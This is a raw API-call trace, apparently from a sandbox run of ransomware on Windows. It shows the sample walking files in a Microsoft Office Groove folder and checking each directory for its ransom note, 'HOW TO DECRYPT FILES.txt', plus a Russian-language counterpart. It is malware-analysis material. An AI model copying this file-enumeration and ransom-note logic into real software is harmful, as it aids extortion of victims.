lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.156] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.156] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.156] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.156] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_alignright.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif" [0065.156] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_bullets.gif", cAlternateFileName="RTF_BU~1.GIF")) returned 1 [0065.157] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_bullets.gif") returned -1 [0065.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_bullets.gif") returned -1 [0065.157] lstrcmpiA (lpString1="", lpString2="rtf_bullets.gif") returned -1 [0065.157] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif") returned="rtf_alignright.gif" [0065.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.157] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.157] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.157] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.157] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_bullets.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif" [0065.157] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_center.gif", cAlternateFileName="RTF_CE~1.GIF")) returned 1 [0065.157] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_center.gif") returned -1 [0065.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_center.gif") returned -1 [0065.157] lstrcmpiA (lpString1="", lpString2="rtf_center.gif") returned -1 [0065.157] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif") returned="rtf_bullets.gif" [0065.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.157] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.157] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.158] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.158] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_center.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif" [0065.158] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031bc00, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3031bc00, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_choosecolor.gif", cAlternateFileName="RTF_CH~1.GIF")) returned 1 [0065.158] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.158] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_choosecolor.gif") returned -1 [0065.158] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_choosecolor.gif") returned -1 [0065.158] lstrcmpiA (lpString1="", lpString2="rtf_choosecolor.gif") returned -1 [0065.158] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif") returned="rtf_center.gif" [0065.158] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.178] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.179] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.179] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.183] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_choosecolor.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif" [0065.183] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_decreaseindent.gif", cAlternateFileName="RTF_DE~1.GIF")) returned 1 [0065.183] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.183] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_decreaseindent.gif") returned -1 [0065.183] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_decreaseindent.gif") returned -1 [0065.183] lstrcmpiA (lpString1="", lpString2="rtf_decreaseindent.gif") returned -1 [0065.183] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif") returned="rtf_choosecolor.gif" [0065.183] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.183] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.183] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.183] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.184] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_decreaseindent.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif" [0065.184] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_hyperlink.gif", cAlternateFileName="RTF_HY~1.GIF")) returned 1 [0065.184] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.184] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_hyperlink.gif") returned -1 [0065.184] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_hyperlink.gif") returned -1 [0065.186] lstrcmpiA (lpString1="", lpString2="rtf_hyperlink.gif") returned -1 [0065.186] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif") returned="rtf_decreaseindent.gif" [0065.186] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.186] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.186] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.186] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.186] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_hyperlink.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif" [0065.187] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_increaseindent.gif", cAlternateFileName="RTF_IN~1.GIF")) returned 1 [0065.187] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.187] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_increaseindent.gif") returned -1 [0065.187] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_increaseindent.gif") returned -1 [0065.187] lstrcmpiA (lpString1="", lpString2="rtf_increaseindent.gif") returned -1 [0065.187] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif") returned="rtf_hyperlink.gif" [0065.187] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.187] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.187] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.187] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.187] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_increaseindent.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif" [0065.187] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_justify.gif", cAlternateFileName="RTF_JU~1.GIF")) returned 1 [0065.187] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.187] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_justify.gif") returned -1 [0065.187] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_justify.gif") returned -1 [0065.187] lstrcmpiA (lpString1="", lpString2="rtf_justify.gif") returned -1 [0065.188] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif") returned="rtf_increaseindent.gif" [0065.188] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.188] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.188] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.188] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.188] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_justify.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif" [0065.188] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_pressed.gif", cAlternateFileName="RTF_PR~1.GIF")) returned 1 [0065.188] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.188] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_pressed.gif") returned -1 [0065.188] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_pressed.gif") returned -1 [0065.188] lstrcmpiA (lpString1="", lpString2="rtf_pressed.gif") returned -1 [0065.188] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif") returned="rtf_justify.gif" [0065.188] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.188] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.188] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.188] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.188] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_pressed.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif" [0065.189] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b9b600, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58b9b600, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0065.189] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.189] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SAVE.GIF") returned -1 [0065.189] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SAVE.GIF") returned -1 [0065.189] lstrcmpiA (lpString1="", lpString2="SAVE.GIF") returned -1 [0065.189] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft 